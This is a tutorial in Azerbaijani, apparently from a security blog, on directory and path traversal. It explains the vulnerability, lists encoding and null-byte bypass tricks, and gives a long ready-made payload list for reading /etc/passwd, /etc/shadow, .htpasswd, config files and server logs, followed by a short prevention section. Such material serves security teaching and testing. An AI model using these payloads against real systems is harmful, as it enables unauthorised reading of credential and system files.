Directory Traversal və Path Traversal

Directory və ya Path Traversal nədir?

Directory Traversal (həmçinin Path Traversal kimi tanınır) təcavüzkarın tətbiqi işlədən serverdə ixtiyari faylları oxumasına imkan verən veb təhlükəsizliyi zəifliyidir.

Bu URL-ni düşünün,

randomwebsite111.com/loadImage?filename=cutekitty18.png

loadImage URL fayl adı parametrini götürür və göstərilən faylın məzmununu qaytarır. Şəkil faylları özləri diskdə /var/www/images/ yerində saxlanılır. Şəkli qaytarmaq üçün proqram tələb olunan fayl adını bu əsas directoriyaya əlavə edir və faylın məzmununu oxumaq üçün fayl sistemi API-dən istifadə edir. Yuxarıdakı halda, proqram aşağıdakı fayl yolundan oxuyur:

/var/www/images/cutekitty18.png

Tətbiq Directory Traversal hücumlarına qarşı heç bir müdafiə tətbiq etmir, beləliklə, təcavüzkar serverin fayl sistemindən ixtiyari faylı əldə etmək üçün aşağıdakı URL-i istifadə edə bilər.

randomwebsite111.com/loadImage?filename=../../../etc/passwd

Windows-da, həm ../, həm də ..\ keçərli kataloq keçid ardıcıllığıdır və standart əməliyyat sistemi faylını əldə etmək üçün hücum belə olacaq:

randomwebsite111.com/loadImage?filename=......\windows\win. ini

Bu açıqdan istifadə etmək yollar:

Siz heç bir keçid ardıcıllığından istifadə etmədən fayla birbaşa keçid etmək üçün fayl adı=/etc/passwd istifadə edə bilərsiniz.

Siz ....// və ya ..../ kimi daxili keçid ardıcıllıqlarından istifadə edə bilərsiniz.

Müxtəlif qeyri-standart kodlaşdırmalardan istifadə edə bilərsiniz:

. = %2e
/ = %2f
\ = %5c

Double URL encode:

. = %252e
/ = %252f
\ = %255c

16-bit:

. = %u002e
/ = %u2215
\ = %u2216

UTF-8:

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Məsələn:

..%c0%af or ..%252f

Tətbiq istifadəçi tərəfindən təmin edilən fayl adının .png kimi gözlənilən fayl uzantısı ilə bitməsini tələb edirsə, o zaman tələb olunan genişlənmədən əvvəl fayl yolunu lazımi şəkildə dayandırmaq üçün null baytdan istifadə etmək sizə kömək edə bilər.

 filename=../../../etc/passwd%00.png

Linux və Windows sistemlərində lazım ola biləcək Payload-lar

/etc/master.passwd

/master.passwd

etc/passwd

etc/shadow%00

/etc/passwd

/etc/passwd%00

../etc/passwd

../etc/passwd%00

../../etc/passwd

../../etc/passwd%00

../../../etc/passwd

../../../etc/passwd%00

../../../../etc/passwd%00

../../../../../etc/passwd

../../../../../../../../../../etc/passwd

../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../etc/passwd

../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00

———————————————————————————————————————————-

../../../../../../etc/passwd&=%3C%3C%3C%3C

../../../administrator/inbox

../../../../../../../dev

———————————————————————————————————————————-

.htpasswd

passwd

passwd.dat

pass.dat

.htpasswd

/.htpasswd

../.htpasswd

.passwd

/.passwd

../.passwd

.pass

../.pass

members/.htpasswd

member/.htpasswd

user/.htpasswd

users/.htpasswd

root/.htpasswd

———————————————————————————————————————————-

/core/config.php

config.php

config.js

../config.js

config.asp

../config.asp

_config.php

../_config.php

../_config.php%00

../config.php

config.inc.php

../config.inc.php

/config.asp

../config.asp

/../../../../pswd

/admin/install.php

../install.php

install.php

———————————————————————————————————————————-
#encode olunuş formada yoxlaya bilərsiniz
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow

..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd

..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow

..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini

/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

———————————————————————————————————————————-

/..\..\..\..\..\..\winnt\win.ini

../../windows/win.ini

..//..//..//..//..//boot.ini

..\../..\../boot.ini

..\../..\../..\../..\../boot.ini

\…..\\\…..\\\…..\\\

=3D “/..” . “%2f..

d:\AppServ\MySQL

c:\AppServ\MySQL

c:WINDOWS/system32/

/C:\Program Files\

/D:\Program Files\

/C:/inetpub/ftproot/

———————————————————————————————————————————-

/boot/grub/grub.conf

/proc/interrupts

/proc/cpuinfo

/proc/meminfo

———————————————————————————————————————————-

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_ log

../../../../../../../usr/local/apache/logs/access. log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_l og

../../../../../../../usr/local/apache/logs/error.l og

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log


Qarşısının alınması

Zəifliklərinin qarşısını almağın ən təsirli yolu istifadəçi tərəfindən təmin edilən giriş məlumatlarını API fayl sistemlərinə ötürməməkdir. Bununla bərabər URL filterləmədəndə istifadə etmək yaxşı seçim ola bilər. Bəzi sözlər simbol və ya işarələrin bloklanması yaxud yazıldıqda silinməsi kimi funksiyalar bu açığın qarşısını almağa kömək edə bilər. Bu prosesləri daha da təkminləşdirmək üçün WAF ( Web application firewall) istifadə oluna bilər.

Last updated